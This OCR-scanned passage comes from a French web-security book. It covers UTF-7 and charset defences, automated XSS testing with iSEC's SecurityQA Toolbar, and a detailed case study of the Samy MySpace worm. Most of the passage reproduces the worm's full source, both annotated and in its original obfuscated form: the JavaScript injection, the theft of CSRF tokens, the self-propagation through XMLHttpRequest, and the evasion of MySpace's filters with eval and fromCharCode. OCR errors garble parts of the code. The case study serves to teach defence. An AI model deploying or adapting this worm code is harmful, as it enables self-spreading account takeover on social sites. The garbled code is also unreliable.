On mettra facilement fin aux agressions a base de codage UTF-7 en imposant les coda- 
ges de caracteres dans I'en-tete HTTP ou dans la reponse HTML. Nous recommandons 
la definition de I'en-tete HTTP par defaut comme suit : 

Content-Type: text/html; charset=utf -8 

On prendra egalement soin de preciser ceci dans toutes les reponses HTML : 

<meta http-equiv=" Content -Type" content="text/html;charset=utf -8"> 

Test de la vulnerabilite aux injections de donnees arbitraires 

Comprenant desormais les fondamentaux des attaques de type XSS, il est important que 
vous evaluiez vos applications web pour evaluer leur degre de securite. Pour cela, il 
existe toute une panoplie de methodes. La section suivante presente une solution auto- 
matisee testant la vulnerabilite aux agressions XSS a I'aide du produit SecurityQA Tool- 
bar d'iSEC. Les developpeurs et testeurs en assurance qualite y recourent souvent pour 
mettre a I'epreuve la securite de I'ensemble d'une application ou de I'une de ses 
sections. 

Tests automatises avec SecurityQA Toolbar d'iSEC 

Rechercher d'eventuelles failles d' injection peut s'averer peu pratique et complexe 
dans le cas d'une enorme application web presentant divers visages. Pour s'assurer que 
I'application web re9oit I'attention qu'elle merite en matiere de securite, SecurityQA 
Toolbar d'iSEC Partners propose d'en tester les champs de saisie page par page au lieu 
d'imposer I'examen de I'ensemble de I'application. Cette methode, parfois un peu plus 
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longue, produit de puissants resultats car 1' accent du test est mis sur chaque page, cela 
en temps reel. 



— 0 Info 

Le produit SecurityQA Toolbar permet aussi de controler les failles XSS dans les applications 
AJAX. Reportez-vous au Chapitre 4 pour en savoir plus a ce sujet. 



Pour rechercher des soucis de securite en matiere de XSS, suivez les etapes suivantes : 

1. Rendez-vous sur www.isecpartners.com pour telecharger une copie d'essai du 
produit. 

2. Apres avoir installe la barre d'outils sous Internet Explorer 6 ou 7, dirigez-vous sur 
r application web depuis ce navigateur. 

3. Dans 1' application web, visitez la page que vous vous proposez de tester. Choisissez 
alors Session Management I Cross Site Scripting (gestion de session I injection de 
donnees arbitraires) dans SecurityQA Toolbar (Figure 2.4). 
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Figure 2.4 

Le programme SecurityQA Toolbar en cours d'utilisation dans IE. 



4. Le programme SecurityQA Toolbar controle automatiquement les problemes poten- 
tiels de XSS sur la page actuelle. Pour observer le deroulement de 1' execution du 
test, cliquez sur le bouton de developpement (le dernier a droite) avant d'opter pour 
I'option Cross Site Scripting. Ce dernier presentera en temps reel les formulaires 
vulnerables a des agressions de type XSS. 
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5. Une fois le test fini (comme indique par la barre de progression situee dans le coin 
inferieur droit du navigateur), rendez-vous a la page suivante de 1' application (ou 
toute autre page a tester) et repetez I'etape 3. 

6. A Tissue de la seance de tests, observez le rapport du programme sous le menu 
Reports I Current Test Results (rapports I resultats actuels des tests). Le logiciel 
SecurityQA Toolbar presente alors tous les soucis de securite decouverts lors du 
test. La Figure 2.5 montre un exemple de rapport pour XSS. On remarquera la 
section iSEC Test Value (valeur de test iSEC) qui reprend en gi^as la requete et la reponse, 
ce qui permet de savoir quelle chame a declenche la faille de XSS. 
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Figure 2.5 

Resultats des tests d'injection de donnees arbitraires (XSS) produits par SecurityQA Toolbar. 



Resume 

Les navigateurs web prevoient deux controles de securite : la politique de meme origine 
et le modele de securite des cookies. D'autre part, les greffons comme le lecteur Flash, 
Outlook Express ou encore Acrobat Reader, introduisent leurs propres soucis et controles 
de securite. Malheureusement, ces controles tendent a affaiblir la politique de meme 
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origine si un agresseur peut obliger un utilisateur a executer du code JavaScript issu 
d'un domaine particulier. 

L'injection de donnees arbitraires (cross-site scripting ou XSS) est une technique obli- 
geant les utilisateurs a executer un script (JavaScript, VBScript, ActionScript, etc.) 
choisi par I'attaquant, sur un domaine particulier, et au nom de la victime. Pour cela, il 
faut qu'une application web correspondant a un domaine precis serve des caracteres 
que r agresseur controle. II peut ainsi injecter un script dans des pages executees dans le 
contexte du domaine vulnerable. Apres avoir con9u un objet malveillant destine a etre 
execute pai^ la victime, 1' agresseur doit inciter celle-ci a cliquer sur un lien, ce qui 
declenchera I'attaque. 
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Etude de cas : 
contexte 

Avant d'evoquer le ver Samy, introduisons brievement MySpace et la mentalite des vandales. 

On peut soutenir que MySpace (www.myspace.com) est le site web de reseaux sociaux le 
plus connu, avec ses 150 millions d'utilisateurs, qui peuvent parcourir les pages les uns des 
autres. Les parametres de personnalisation varient du plus classique (gouts musicaux, heros, 
education, etc.) a des elements beaucoup plus esthetiques (ajout de sa propre image de 
fond et modification des couleurs). D'autre part, ce site tente d'interdire JavaScript a cause 
des failles de securite potentielles que presentent les injections de donnees arbitraires 
{cross-site scripting ou XSS). 

Les auteurs ne connaissent pas personnellement Samy, mals 11 s'est presente d'une maniere 
assez informative a I'adresse http://namb.la/. Apparemment, il a d'abord pris I'habitude de 
se connecter sur MySpace pour observer la page de profil des "filles bonnes". Peu apres, il y 
a cree sa propre page, en pestant contre les limitations dictees par MySpace pour des 
raisons de securite. C'est alors que sa curiosite I'a motive a en tester la robustesse. 

En adaptant a XSS une machiavelique idee issue des virus classiques, Samy a donne un bon 
coup de fouet aux specialistes de la securite web. Au lieu d'attirer une victime vers une 
vulnerabilite XSS par elle-meme, il a decide d'employer cette faille pour se repandre lui- 
meme, tel un ver de la grande epoque. Son programme a connu une epoustouflante reus- 
site, infectant plus d'un million de comptes MySpace en I'espace de 16 heures, et forgant le 
site a fermer quelques heures le temps de contenir le probleme. 

Dans cette etude de cas, nous presentons I'injection de HTML decouverte par Samy et discutons 
en detail son emploi dans la creation d'un ver XSS. 

En general, toute application web fournissant un service de reseau social (courrier electro- 
nique, commentaires, billets de blog, messagerie instantanee) sera vulnerable a ce type 
d'attaque si I'agresseur y decouvre une injection de HTML. On peut done esperer que cette 
etude de cas soulignera importance de la prevention en matiere de failles XSS dans les 
applications web. 

Decouverte d'une injection de script dans MySpace 

Comme evoque au Chapitre 2, la premiere etape dans la mise au point d'une attaque XSS 
conslste a decouvrir une injection de script sur le domaine cible. Dans le cas present, Samy a 
recherche une injection de script sur www.myspace.com (ou de maniere equivalente sur 
profile.myspace.com). 

II a decouvert une injection de script sur sa page personnelle en inserant un element HTML 
div prevoyant une image de fond dans la section Heros (heros) de sa page de profil. 
En voici le code : 

<div id=mycode style="background : url('iava 

script:eval(document.all.mycode.expr) ' ) " expr="alert(1 ) "></div> 
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On remarquera que le gestionnaire de protocole JavaScript embarque un passage a la 
ligne. De maniere amusante, IE ne considere pas qu'un mot prend fin lors d'un passage a 
la ligne, aussi les lignes suivantes : 

java 

script : alert ( 1 ) 

lui sembleront parfaitement equivalentes a JavaScript : alert (1 ). En d'autres termes, le 
code precedent executait alert (1). Evidemment, Samy avait prevu un code un peu plus 
elabore qu'un simple alert ( 1 ) dans le parametre expr ; nous le detaillerons dans la section 
suivante. 

A I'origlne, Samy a place I'element div realisant I'injection de script sur sa page MySpace. 
Tout utilisateur la visitant executerait le code de I'attaque, lequel s'Insererait lui-meme sur 
la page de profil de la victime, pret a infecter quiconque la consulterait. Inutile de preciser 
que de proche en proche, le ver s'est rapidement repandu, atteignant plus d'un million 
d'utilisateurs en moins de 20 heures. 

Programmation de ('agression 

Le code de I'attaque realisait trois taches principales. Tout d'abord, il s'injectait lui-meme 
(injection de script et code d'attaque) dans la page de profil de la victime. Ainsi, tout visi- 
teur d'une page ayant deja subi I'attaque se transformerait a son tour en victime, done en 
vecteur, et contribuerait a la propagation du ver C'est la I'aspect ver du programme, initia- 
lement place sur la page de profil de Samy avant de se repandre sur les pages de profil de 
ses visiteurs, puis sur celles de leurs visiteurs, et ainsi de suite. C'est la une methode de deve- 
loppement tres rapide, quasiment exponentielle - partie de I'oeuvre de Samy que nous 
appellerons le transport. 

Apres avoir cree un transport ultra-rapide infectant de nombreux utilisateurs de MySpace 
pour y executer du JavaScript, il fallait imaginer une charge (payload) un peu malicieuse. 
Le choix de Samy, assez anodin et humoristique, fut de realiser deux actions : ajouter la 
phrase "...but most of all, samy is my hero"^ dans la section Heros de la page de profil de 
la victime, tout en obligeant celle-ci a envoyer, a son insu, une requete d'amitie sur le profil 
de Samy - c'est-a-dire de I'ajouter a son groupe d'amis. 

Nous presentons ci-apres le code du ver de Samy sous une forme clarifiee et remise en page 
pour en faciliter la lecture, en commengant par le code principal pour enchainer sur le code 
d'appoint. 

Portions principales du code de Samy 

L'injection de script definit quelques variables cles. Elle tente d'intercepter les jetons Myto- 
ken et f riendID de la victime, necessaires pour realiser des changements d'etat cote client. 
Le jeton f riendID represente I'identifiant utilisateur unique de la victime, tandis que Mytoken 
est un jeton la protegeant contre les requetes sur d'autres sites (CSRF pour Cross-site 
Request Forgery, sujet detaille au Chapitre 3). 



1. N.D.T. : "mais par dessus tout, c'est Samy mon heros. 



68 Hacking sur le Web 2.0 



II Voici les variables principales, comme I'objet 

// XMLHttpRequests, le jeton "Mytoken" de protection contre 

// CSRF et le "friendID" de la victime. Ces deux jetons 

// permettent au ver de realiser des requetes au nom de la 

// victime. 

var xmlHttpRequest; 

var queryParameterArray = getQueryParameters ( ) ; 

var myTokenParameter = queryParameterArray[ 'Mytoken '] ; 

var f riendldParameter = queryParameterArray [' friendID '] ; 

Ce code de mise en place cree des chaines cle pour injecter le script et le code de I'attaque 
dans la page de profil de la victime. Une chaine a laquelle on pretera attention, heroCom- 
mentWithWorm (commentaire sur le heros a I'interieur du ver), renferme I'injection de script 
et le code d'attaque. C'est son insertion dans la page de profil de la victime qui concretise 
I'infection de celle-ci, et sa transformation en vecteur de propagation du ver 

// Les cinq variables suivantes recherchent le code de 
// Samy sur la page en cours, a savoir le code que vous avez 
// sous les yeux. II sera ensuite insere sur la page de la 
// victime de sorte que ses visiteurs seront a leur tour 
// infectes. 

var htmlBody - getHtmlBody ( ) ; 

// Marque le debut de I'injection du script et 

// du code d'attaque. 

var myCodeBlocklndex - htmlBody. indexOf ( 'm' + 'ycode'); 

var myRoughCodeBlock - htmlBody. substring( myCodeBlocklndex, 

myCodeBlocklndex + 4096); 
var myCodeBlockEndlndex - myRoughCodeBlock. indexOf (' d ' + 'iv'); 
// Marque la fin de I'injection du script et 
// du code d'attaque. 

// myCodeBlock finit par "</" ce qui n'a pas vraiment 
// d' importance car Samy ajoute "div>" lorsqu'il cree la 
// variable "heroCommentWithWorm" . 

var myCodeBlock - myRoughCodeBlock. substring(0, myCodeBlockEndlndex); 

// Cette variable regoit le code du ver place dans la 

// page de la victime de maniere a infecter chacun de ses 

// visiteurs. 

var heroCommentWithWorm; 

if (myCodeBlock) { 

// Apparemment, MySpace interdisait dans les saisies 

// utilisateur les chaines comme "java", "div" et "expr"". 

// C'est pourquoi tous ces mots sont divises ci-apres. 

myCodeBlock - myCodeBlock. replace (' jav ' + 'a', singleQuote + 'jav' + 'a'); 
myCodeBlock - myCodeBlock. replace ( 'exp' + 'r)', 'exp' + 'r)' + 
SingleQuote) ; 

//La variable ci-apres abrite un commentaire 
// d'humour, I'injection de script et le code de I'attaque. 
// Cette chaine rejoindra la page de profil de la victime. 
heroCommentWithWorm - ' but most of all, samy is my hero. <d ' + ' iv id=' + 
myCodeBlock + 'd' + 'iv>'; 

} 

Dans un deuxieme temps, le code de I'attaque controle s'il est en train d'etre execute sur 
http://profile.myspace.com ou surwww.myspace.com. Dans le premier cas, il renvoie I'utili- 
sateur recharger le script (c'est-a-dire lui-meme) sur www.myspace.com. En general, ce 
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type de manceuvre s'explique par les restrictions de la politique de meme domaine ou le 
besoin de rejoindre un serveur web different, aux fonctionnalites distinctes. 

// Ceci est une redirection. En resume, si la page 

// actuelle provenait de " prof ile.myspace. com " , alors le code 

// ci-apres realise la meme requete sur "www.myspace.com". 

// Cela s'explique peut-etre par les restrictions 

// de la politique de meme domaine. 

if (location. hostname =- 'profile.myspace.com') { 

document. location='http://www. myspace.com' + location . pathname + 
location. search; 
} else { 

// Nous nous trouvons desormais sur la bonne 
// machine, "www.myspace.com". Commengons d'abord par 
// repandre ce ver. Assurons-nous de 
// disposer du jeton friendlD. 
if ( ! f riendldParameter) { 
getCoreVictimData(getHtmlBody ( ) ) ; 

} 

// II est maintenant temps de passer a I'action. 
main( ) ; 

} 

La victime execute alors la fonction principale du programme, main(). Malheureusement, 
le design de Samy n'est pas aussi propre que possible. Son sous-programme main( ) definit 
d'autres variables comparables aux variables globales deja mises en place une fois, voire 
deux fois si la redirection a eu lieu. Elle debute aussi une chaine d'appels a XMLHttpRequest 
realisant des actions au nom de la victime pour modifier la page de profil de celle-ci. Ces 
appels sont lies les uns aux autres par leurs fonctions de callbak. Enfin, main() mene une 
derniere requete pour incorporer Samy dans la liste des amis de la victime. Cela ne lui 
vaudra certes pas une note de style en genie logiciel, mais ce programme a le merite de 
fonctionner. 

// Voici ce qui ressemble le plus a une fonction principale 
// dans le code de Samy. Toutefois, il emploie de nombreux 
// appels a des fonctions globales et utilise horriblement 
// I'appel de XMLHttpRequest pour relier toutes 
// ces requetes les unes aux autres. 
function main() { 

// Recupere le "friendID" de la victime. Les valeurs des 

// jetons "friendID" et "Mytoken" sont necessaires 

// pour que le ver puisse realiser des requetes 

// au nom de la victime. 

var friendid - getVictimsFriendId ( ) ; 

var url - ' /index. cfm?fuseaction=user.viewProfile&friendID=' + friendid + 

'&Mytoken=' + myTokenParameter; 
xmlHttpRequest = getXMLObj ( ) ; 

// Cette requete debute une sequence de requetes HTTP. 
// Samy emploie la fonction de rappel de XMLHttpRequest 
// pour lier plusieurs requetes entre elles. La premiere se 
// contente de visualiser le profil de la victime afin de 
// savoir si Samy est deja son heros. 
httpSend(url, analyzeVictimsProf ile , 'GET'); 



xmlhttp2 = getXMLOb] 0 ; 
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II Ceci ajoute 1 ' utilisateur "11851658" (Samy) a la 
// liste des amis de la victime. 

httpSend2( ' /index . cfm?f useaction=invite . addfriend_verify& 
f riendID=11851658&" + 

"Mytoken=' + myTokenParameter , addSamyToVictimsFriendsList , 'GET'); 

} 

Dans ce qui precede, la ligne la plus interessante est httpSend(url, analyzeVictimsPro- 
file, 'GET');, car elle debute la chaTne d'appels XMLHttpRequest qui se conclura par 
rinciusion du code JavaScript dans la page de profil de la victime. La premiere se contente 
de charger cette page. La fonction suivante, analyzeVictimsProfile(), traite la reponse 
HTTP. On la presente ci-apres : 

// Cette fonction examine la premiere requete de Samy vers la 
// page de "profil" principale de la victime. Le code cherche 
// a savoir si Samy est deja un heros de la victime. Dans le 
// cas contraire, il suit la premiere etape necessaire pour 
// inclure Samy dans la liste des heros de la victime, mais 
// surtout injecte le ver dans sa page de profil. La deuxieme 
// etape est realisee dans la fonction postHero(). 
function analyzeVictimsProf ile( ) { 

// Controle XMLHttpRequest standard pour s' assurer 

// que la requete HTTP est complete, 
if (xmlHttpRequest . readyState != 4) { 
return; 

} 

// Intervient dans la section "Heros" de la page 

// principale de la victime. 

var htmlBody - xmlHttpRequest . responseText ; 

heroString - subStringBetweenTwoStrings(htmlBody, 'P' + ' rof ileHeroes ' , 
'</td>'); 

heroString = heroString . substring (61 , heroString. length) ; 

// Controle si Samy apparait deja dans la liste des 

// heros de la victime. N'injecte le ver que dans le cas 

// contraire. 

if (heroString . indexOf (' samy ' ) == n1 ) { 
if (heroCommentWithWorm) { 

// prend le contenu original de cette section chez 

// la victime et ajoute "but most of all, 

// samy is my hero.", a la fin, 

// I'injection du script et le code d'attaque. 

heroString +- heroCommentWithWorm; 

// Recupere le jeton Mytoken de la victime. Dans 

// MySpace, il s'agit de la protection anti-CSRF 

// necessaire a la realisation de requetes 

// de changement d'etat cote client. 

var myToken - getParameterFromString(htmlBody, 'Mytoken'); 
// Cree la requete pour incorporer Samy dans la 
// liste des heros de la victime, mais surtout injecte 
// ce script dans la page de celle-ci. 
var queryParameterArray = new Array(); 
queryParameterArray [ ' interestLabel ' ] = 'heroes'; 
queryParameterArray [' submit ' ] = 'Preview'; 
queryParameterArray [' interest ' ] - heroString; 
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xmlHttpRequest = getXMLObjO; 

// Realise la requete de previsualisation de la 

// modification, suite a quoi : 

// - lit le jeton "hash" de la page de previsualisation 

// (necessaire pour la validation du changement) 

// - execute postHero() pour valider la 

// modification finale et injecter le ver 

// Chez la victime. 

httpSend ( ' /index . of m?f useaction=prof ile . previewInterests&Mytoken= ' + 
myToken, postHero, 'POST', 

parameterArrayToParameterString(queryParameterArray) ) ; 

} 

} 

} 

On remarquera que la fonction ci-dessus controle d'abord si la victime fait deja partie du 
tableau de chasse de Samy. Dans le cas contraire, on lit son jeton Mytoken avant d'entamer 
la premiere de deux etapes permettant d'inscrire Samy dans la section des heros de la 
victime, pour injecter enfin le code de I'attaque dans la page de profil de la victime. Pour 
cela le code realise sur MySpace Taction profile . previewlnterests avec le code du ver et 
la valeur appropriee pour les jetons "friendID" et "Mytoken". L'etape suivante execute 
postHeroO, qui recupere un jeton de hachage ("hash") necessaire et soumet la requete 
finale afin d'incorporer Samy dans la liste des heros de la victime et d'inserer le script 
d'injection et le code d'attaque dans la page de profil de celle-ci. 

// La fonction postHero() recupere le jeton "hash" issu de 
// la page de previsualisation des interets de la victime, et 
// soumet la requete finale pour incorporer Samy (et le ver) 
// sur la page de profil de la victime. 
function postHero() { 

// Controle XMLHttpRequest standard s'assurant que la 
// requete HTTP s'est bien deroulee jusqu'a son terme. 
if (xmlHttpRequest . readyState != 4) { 
return; 

} 

var htmlBody = xmlHttpRequest . responseText ; 

var myToken = getParameterFromString(htmlBody, 'Mytoken'); 

var queryParameterArray = new Array(); 

// Les trois elements de tableau suivants sont les 

// memes que dans analyzeVictimsProf ile( ) 

queryParameterArray [' interestLabel ' ] = 'heroes'; 

queryParameterArray [' submit ' ] = 'Submit'; 

queryParameterArray [' interest ' ] - heroString; 

// Le parametre "hash" est necessaire pour realiser le 

// changement d'etat cote client desire 

queryParameterArray [' hash ' ] = getHiddenParameter(htmlBody , 'hash'); 
httpSend( ' /index. cfm?fuseaction=profile.processInterests&Mytoken=' + 
myToken, nothing, 'POST', 

parameterArrayToParameterString (queryParameterArray ) ) ; 

} 

Voila un code d'analyse assez immediate. La fonction postHero() realise une requete 
comparable a celle de analyzeVictimsProf ile( ), a ceci pres qu'elle incorpore la valeur 
hash recuperee par Taction de previsualisation et envoie le requete finale pour incorporer 
le code de I'attaque sur Taction prof ile. processlnterests de MySpace. La fonction 
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postHeroO conclut la chaine de requetes XMLHttpRequest. Desormais, la section Heros de 
la victime annonce "but most of all, samy is my hero", tout en celant dans ses entrailles 
I'injection de script et le code de I'attaque. 

La fonction mainO realise aussi une autre requete XMLHttpRequest pour inscrire Samy sur 
la liste des amis de la victime. C'est la fonction suivante qui se charge de cette tache : 

// Cette fonction inscrit 1 ' utilisateur (a savoir, Samy) 

// dans la liste des amis de la victime. 

function addSamyToVictimsFriendsList ( ) { 

// Controle XMLHttpRequest standard s'assurant que la 
// requete HTTP s'est bien deroulee jusqu'a son terme. 
if (xmlhttp2.readyState!=4) { 
return; 

} 

van htmlBody - xmlhttp2 . responseText ; 

van victimsHashcode = getHiddenParameter(htmlBody , 'hashcode'); 
var victimsToken - getParameterFromString(htmlBody, 'Mytoken'); 
van queryParameterArray = new ArrayO; 

queryParameterArray [' hashcode ' ] - victimsHashcode; 
// (Ancien) identifiant numerique de Samy sur MySpace 
queryParameterArray [' friendID ' ] - '11851658'; 
queryParameterArray [' submit ' ] - 'Add to Friends'; 

// L'action invite . addFriendsProcess sur MySpace 

// inscrit le friendID (dans le corps de la requete POST) a 

//la liste des amis de la victime. 

httpSend2( ' /index. cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + 
victimsToken, nothing, 'POST', 

parameterArrayToParameterString (queryParameterArray ) ) ; 

} 

A nouveau, voici une fonction comparable aux precedentes : addSamyToVictimsFriends- 
List () se contente de realiser l'action de requete invite. addFriendsProcess pour incor- 
porer I'utilisateur numero 1 1 851 658 (soit Samy) dans la liste des amis de la victime. Voila qui 
conclut les fonctionnalites principales du ver Samy. 

Variables et fonctions d'appoint du ver Samy 

Certaines des fonctions presentees ci-dessus font appel a d'autres sous-programmes du ver. 
Par souci d'exhaustivite, nous presentons egalement les autres parties du code du ver. On y 
trouvera quelques astuces interessantes permettant de contourner les controles de securite 
mis en place par MySpace, et notamment I'emploi de la fonction String. fromCharCode() 
et autres methodes de maquillage pour introduire les chaTnes bloquees : concatenation et 
emploi de la fonction eval ( ) . 

// Samy a besoin d ' apostrophes simples et doubles, mais 
// ne pouvait les placer dans le code. II construit done ces 
// caracteres a I'aide de la fonction String. f romCharCode( ) . 
var doubleOuote = String. fromCharCode(34) ; // 34 == " 
var singleOuote = String . fromCharCode (39) ; // 39 == ' 
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// Cree un objet TextRange afin de recuperer le corps 

// HTML de la page sur laquelle cette fonction est employee. 

// Ceci est equivalent a document. body. innerHTML. 

// On peut remarquer que la fonction 

// createTextRange( ) est propre a IE. Comme c'est de 

// toute fagon le cas de I'ensemble du script d'injection, 

// Samy aurait pu simplifier considerablement ce code en se 

// contentant d'ecrire : 

// var getHtmlBody = document. body.createTextRange( ) .htmlText; 
function getHtmlBody ( ) { 
var htmlBody; 

try { 

var textPange = document .body .createTextRange( ) ; 
htmlBody = textRange. htmlText; 
} catch(e) {} 

if (htmlBody) { 

return htmlBody; 
} else { 

return eval (' document . body . inne ' +'rHTML'); 

} 

} 

//La fonction getCoreVictimData ( ) definit les variables 
// globales renfermant les jetons friendID et Mytoken de la 
// victime. Ce dernier est particulierement important, car il 
// protege centre les attaques CSRF. Evidemment, en 
// presence d'une vulnerabilite XSS, 
// un tel bouclier n'a plus aucun sens, 
function getCoreVictimData(htmlBody ) { 

f riendldParameter = getParameterFromString(htmlBody, 'friendID'); 

myTokenParameter - getParameterFromString(htmlBody, 'Mytoken'); 

} 

// Recupere les parametres de requete de I'URL actuelle. 
// Un exemple representatif serait 

/ / f useaction=user . viewprof ile&f riendid=L)N_NUMERO&Mytoken=UN_UID 
// Ceci renvoie un tableau (Array) avec I'index parameter et 
// la valeur "value" sous forme d'un couple parameter=value. 
function getQueryParameters ( ) { 

var E = document . location . search ; 

var F = E.substring(1 , E. length) .split( '&') ; 

var queryParameterArray - new Array(); 

for(var 0=0; 0<F. length; 0 ++) { 
var I = F[0] .split( '=' ) ; 
queryParameterArray[ I [0] ] = I[1]; 

} 

return queryParameterArray; 

} 

// Voici I'une des nombreuses fonctions permettant 
// d'extraire le friendID du corps de la page. 
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function getVictimsFriendId ( ) { 
return subStringBetweenTwoStrings(getHtmlBody( ) , ' up_launchIC( ' + 
singleQuote,singleQuote) ; 

} 

// Je suppose que Samy n'avait jamais entendu parler de 
// la fonction JavaScript void(). Ceci lui servait lors a 
// mener une requete HTTP dont la reponse ne lui importait 
// guere (comme dans le cas de CSRF) . 
function nothing() {} 

// Reconvertit le queryParameterArray en une chaine 

// delimitee par des esperluettes ("&") avec codage d'URL. 

// Cette chaine serf en tant que corps de la requete POST 

// modifiant les informations de presentation de la victime. 

function parameterArrayToParameterString(queryParameterArray) { 

var N = new String ( ) ; 

var 0=0; 

for (var P in queryParameterArray) { 
if (O>0) { 
N += '&' ; 

} 

var Q = escape(queryParameterArray[P] ) ; 
while (Q.indexOf(' +') != hi) { 
0 = Q.replace( ' +' , '%2B' ) ; 

} 

while (Q.indexOf ( '&' ) != h1) { 
0 = Q. replace ( '&' , '%26' ) ; 

} 

N += p + + Q; 

0 ++; 

} 

return N; 



// Voici la premiere de deux requetes POST realisees par 

// le ver au nom de I'utilisateur. Cette fonction se contente 

// d'envoyer une requete vers url avec le corps POST 

// xhrBody puis execute xhrCallbackFunction( ) apres 

// reception de la reponse HTTP complete. 

function httpSend (url, xhrCallbackFunction , requestAction , xhrBody) { 
if ( IxmlHttpRequest) { 
return false 

} 

// Apparemment, Myspace bloquait toute donnee utilisateur 

// renfermant la chaine onreadystatechange , aussi Samy 

// a-t-il fait appel a la concatenation de chaines et a la 

// fonction eval() pour contourner cette mesure de securite. 

eval( ' xmlHttpRequest . onr ' + ' eadystatechange=xhrCallbackFunction ' ) ; 

xmlHttpRequest. open (requestAction, url, true); 

if (requestAction == 'POST') { 

xmlHttpRequest. setRequestHeader( 'Content-Type' , 
' application/x-www-f orm-urlencoded ' ) ; 

xmlHttpRequest . set Request Header( ' Content -Length ' , xhrBody .length) ; 

} 
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xmlHttpRequest.send(xhrBody) ; 
return true 

} 

// Trouve une chaine comprise entre deux chaines. Par 
// exemple, si la grosse chaine bigStr="1234567890abcdef " , le 
// prefixe strBef ore="456" , et le suffixe strAf ter="de" , alors 
// cette fonction renvoie "789abc". 

function subStringBetweenTwoStrings(bigStr, strBefore, strAfter) { 
var startlndex = bigStr.indexOf (strBefore) + strBefore. length; 
var someStringAf terStartlndex - bigStr. substring(startlndex, startlndex + 
1024) ; 

return someStringAf terStartlndex. substring (0, 

someStringAfterStartlndex.indexOf (StrAfter) ) ; 

} 

// Cette fonction renvoie la VALEUR inscrite dans les 
// balises HTML precisant ' name="NOIVI" value="VALUE" ' . 
function getHiddenParameter ( bigStr, parameterName) { 

return subStringBetweenTwoStrings(bigStr, 'name=' + doubleQuote + 

parameterName + doubleQuote + ' value=' + doubleQuote, doubleQuote); 

} 

//La chaine bigStr devrait renfermer une chaine de la forme 
/ / "parametrel =valeur1&parametre2=valeur2&parametre3=valeur3" . 
// Si parameterName vaut parametreS, cette fonction 
// renverra valeurS. 

function getParameterFromString ( bigStr, parameterName) { 
var T; 

if (parameterName == 'Mytoken') { 

T = doubleQuote 
} else { 

T= '&' 

} 

var U = parameterName + '='; 

var V = bigStr.indexOf (U) + U. length; 

var W = bigStr. substring(V, V + 1024); 

var X = W.indexOf (T) ; 

var Y = W.substring(0, X); 

return Y; 

} 

// Voici la fonction standard permettant d ' initialiser 

// un objet XMLHttpRequest . On remarquera que la premiere 

// requete tente de charger directement XMLHttpRequest, ce qui 

// a I'epoque, ne fonctionnait que pour les navigateurs bases 

// sur un moteur Mozilla, tels que Firefox. Pourtant, 

// I'injection initiale du script etait tout bonnement 

// impossible sur cette famille de clients web. 

function getXMLObj ( ) { 

var xmlHttpRequest = false; 

if (window. XMLHttpRequest) { 
try { 

xmlHttpRequest = new XMLHttpRequest () ; 
} catch(e){ 
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xmlHttpRequest =false;} 
} else if (window. ActiveXObject) { 
try { 

xmlHttpRequest = new ActiveXObiect( 'Msxml2.XMLHTTP ' ) ; 
} catch(e){ 
try { 

xmlHttpRequest = new ActiveXObiect( 'Microsoft. XMLHTTP' ) ; 
} catch (e) { 
xmlHttpRequest=f alse; 

} 

} 

} 

return xmlHttpRequest; 

} 

// Renseigne dans analyzeVictimsProf ile( ) 
var heroString; 

// Cette fonction realise une requete de type POST a 

// I'aide de XMLHttpRequest . Quand la variable 

// xhrCallbackFunction vaut nothing(), on aurait pu ecrire 

// I'ensemble du processus en creant un objet de formulaire et 

// en le soumettant automatiquement avec submit(). 

function httpSend2(url, xhrCallbackFunction, requestAction , xhrBody) { 
if (!xmlhttp2) { 

return false; 

// Apparemment, Myspace bloquait toute donnee utilisateur 
// renfermant la chaine onreadystatechange , aussi Samy 
// a-t-il fait appel a la concatenation de chaines et a la 
// fonction eval() pour contourner cette mesure de securite. 
eval( 'xmlhttp2.onr' + ' eadystatechange=xhrCallbackFunction ' ) ; 
xmlhttp2. open (requestAction, url, true); 

if (requestAction == 'POST') { 

xmlhttp2.setRequestHeader( 'Content-Type' , 
' application/x-www-f orm-urlencoded ' ) ; 
xmlhttp2.setRequestHeader( 'Content-Length' , xhrBody. length) ; 

} 

xmlhttp2.send(xhrBody) ; 
return true; 

} 

Le ver original de Samy 

Le code original du ver de Sanny, dans sa forme abregee et volontairement obscurcie (obfus- 
cated), est donne ci-apres. 

<div id=mycode style=" BACKGROUND: url(']ava 
script:eval(document.all.mycode.expr) ' ) " expr="var 
B=String.f romCharCode(34) ;var A=String . f romCharCode (39) ;function g() 
{var C ; try{var D=document . body . createText Range ( ) ; C=D . htmlText }catch ( e ) 
{}if(C) {return C}else{return eval( 'document. body. inne' +' rHTML ') }}f unction 
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getData(AU){IVI=getFromURL(AU, 'friendID' ) ; L=getFromURL(AU, 'Mytoken' )}function 
getQueryParams ( ) {var E=document . location . search ; var F=E . substring 
(1 ,E. length) .split( '&') ;var AS=new Array( ) ;for(var O=0;O<F.length;O ++) 
{var I=F[0] .split( ) ;AS[I[0] ]=I[1 ] }return AS}var J;var 
AS^getQueryParams ( ) ; var L=AS[ ' Mytoken ']; var M=AS[ ' friendID '] ; 
if (location . hostnaine== ' profile . my space . com ' ) {document . location= 
' http : / /www. my space . com ' +location . pathname+location . search }else{ if 
( !M){getData(g( ) ) }main () }f unction getClientFID( ) {return f indln(g( ) , 
' up_launchIC( ' +A, A) }f unction nothing () {}f unction paramsToString (AV) 
{var N=new String();var O=0;for(var P in AV) {if (O>0) {N +='&'}var 
Q=escape(AV[P] ) ;while(Q.indexOf ( ' +' ) !=n1 ){Q=Q.replace( '+' , '%2B' )} 
while(Q.indexOf ( '&' ) !=h1 ) {Q=Q. replace( '&' , '%26' )}N +=P+ ' = ' +Q;0++}return N} 
function httpSend(BH,BI,BJ,BK){if ( !J){return f alse}eval ( ' J . onr ' +' 
eadystatechange=BI ' ) ; J . open(BJ ,BH, true) ; if (BJ== ' POST' ) {J . set Request Header 
( ' Content -Type ' , ' application/x-www-f orm-urlencoded ' ) ; J . set Request Header 
( ' Content -Length ' , BK. length) }J . send (BK) ; return t rue }f unction find In 
(BF,BB,BC){var R=BF.indexOf (BB) +BB.length;var S=BF.substring(R,R+1024) ; 
return S. substring (0,S. indexOf(BC) ) }f unction getHiddenParameter(BF,BG) 
{return f indin (BF, ' name= ' +B+BG+B+' value= ' +B,B) }f unction getFromURL(BF,BG) 
{var T;if (BG=='Mytoken' ){T=B}else{T='&' }var U=BG +'=';var 
V=BF.indexOf (U) +U . length ; var W=BF.substring(V,V+1024) ;var 
X=W.indexOf (T) ;var Y=W. substring (0,X) ; return Y}function getXMLObi ( ) 
